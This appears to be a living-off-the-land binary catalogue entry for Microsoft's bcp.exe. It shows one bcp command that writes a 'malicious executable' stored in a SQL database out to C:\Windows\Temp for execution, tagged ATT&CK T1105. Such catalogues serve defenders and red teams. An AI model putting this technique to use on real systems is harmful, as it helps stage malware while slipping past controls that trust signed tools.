.. /Bcp.exe
Star

Download

Microsoft SQL Server Bulk Copy Program utility for importing and exporting data between SQL Server instances and data files.

Paths:

Resources:

Acknowledgements:

Detections:

Download

  1. Export binary payload stored in SQL Server database to file system.

    bcp "SELECT payload_data FROM database.dbo.payloads WHERE id=1" queryout "C:\Windows\Temp\payload.exe" -S localhost -T -c
    Use case

    Extract malicious executable from database storage to local file system for execution.

    Privileges required
    User
    Operating systems
    Windows
    ATT&CK® technique
    T1105